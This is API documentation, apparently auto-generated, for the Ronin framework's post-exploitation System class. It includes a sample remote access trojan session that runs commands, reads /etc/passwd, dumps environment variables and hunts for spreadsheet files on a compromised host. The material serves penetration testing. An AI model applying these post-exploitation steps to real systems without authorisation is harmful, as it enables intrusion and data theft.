Class: Ronin::PostEx::System
- Defined in:
- lib/ronin/post_ex/system.rb,
lib/ronin/post_ex/system/fs.rb,
lib/ronin/post_ex/system/shell.rb,
lib/ronin/post_ex/system/process.rb
Overview
Represents a successfully compromised system. The System class will wraps around a session object which defines syscall-like post-exploitation API for reading/writing files, run commands, etc.
Supported API Functions
sys_time -> Integer
sys_hostname -> String
Example
Define the session class which defines the Post-Exploitation API methods:
require 'base64'
class SimpleRATSession < Ronin::PostEx::Sessions::Session
def initialize(socket)
@socket = socket
end
def call(name,*args)
@socket.puts("#{name} #{args.join(' ')}")
Base64.strict_decode64(@socket.gets(chomp: true)(
end
def shell_exec(command)
call('EXEC',command)
end
def fs_readfile(path)
call('READ',path)
end
def process_pid
call('PID').to_i
end
def process_getuid
call('UID').to_i
end
def process_environ
Hash[
call('ENV').each_line(chomp: true).map { |line|
line.split('=',2)
}
]
end
end
Initialize a new System object that wraps around the client:
session = SimpleRATSession.new(socket)
system = Ronin::PostEx::System.new(session)
Interact with the system's remote files as if they were local files:
file = system.fs.open('/etc/passwd')
file.each_line do |line|
user, x, uid, gid, name, home_dir, shell = line.split(':')
puts "User Detected: #{user} (id=#{uid})"
end
Get information about the current process:
system.process.pid
# => 1234
system.process.getuid
# => 1001
system.process.environ
# => {"HOME"=>"...", "PATH"=>"...", ...}
Execute commands on the remote system:
system.shell.ls('/')
# => "bin\nboot\ndev\netc\nhome\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsnap\nsrv\nsys\ntmp\nusr\nvar\n"
system.shell.exec("find -type f -name '*.xls' /srv") do |path|
puts "Found XLS file: #{path}"
end
Defined Under Namespace
Instance Attribute Summary collapse
-
#fs ⇒ System::FS
readonly
The File-System resource.
-
#process ⇒ System::Process
readonly
The Process resource.
-
#shell ⇒ System::Shell
readonly
The Shell resource.
Attributes inherited from Resource
Instance Method Summary collapse
-
#exit ⇒ Object
Exits the process.
-
#hostname ⇒ String
Gets the system's hostname.
-
#initialize(session) ⇒ System
constructor
Initializes the system.
-
#interact ⇒ Object
Starts an interactive post-exploitation system shell.
-
#time ⇒ Time
Gets the current time.
Methods inherited from Resource
Constructor Details
Instance Attribute Details
#fs ⇒ System::FS (readonly)
The File-System resource.
119 120 121 |
# File 'lib/ronin/post_ex/system.rb', line 119 def fs @fs end |
#process ⇒ System::Process (readonly)
The Process resource.
124 125 126 |
# File 'lib/ronin/post_ex/system.rb', line 124 def process @process end |
#shell ⇒ System::Shell (readonly)
The Shell resource.
129 130 131 |
# File 'lib/ronin/post_ex/system.rb', line 129 def shell @shell end |
Instance Method Details
#exit ⇒ Object
Exits the process.
185 186 187 |
# File 'lib/ronin/post_ex/system.rb', line 185 def exit @process.exit end |
#hostname ⇒ String
Requires the sys_hostname
method be defined by the Resource#session
object.
Gets the system's hostname.
169 170 171 |
# File 'lib/ronin/post_ex/system.rb', line 169 def hostname @session.sys_hostname end |
#interact ⇒ Object
Starts an interactive post-exploitation system shell.
176 177 178 |
# File 'lib/ronin/post_ex/system.rb', line 176 def interact CLI::SystemShell.start(self) end |
#time ⇒ Time
Requires the sys_time
method be defined by the Resource#session object.
Gets the current time.
154 155 156 |
# File 'lib/ronin/post_ex/system.rb', line 154 def time Time.at(@session.sys_time.to_i) end |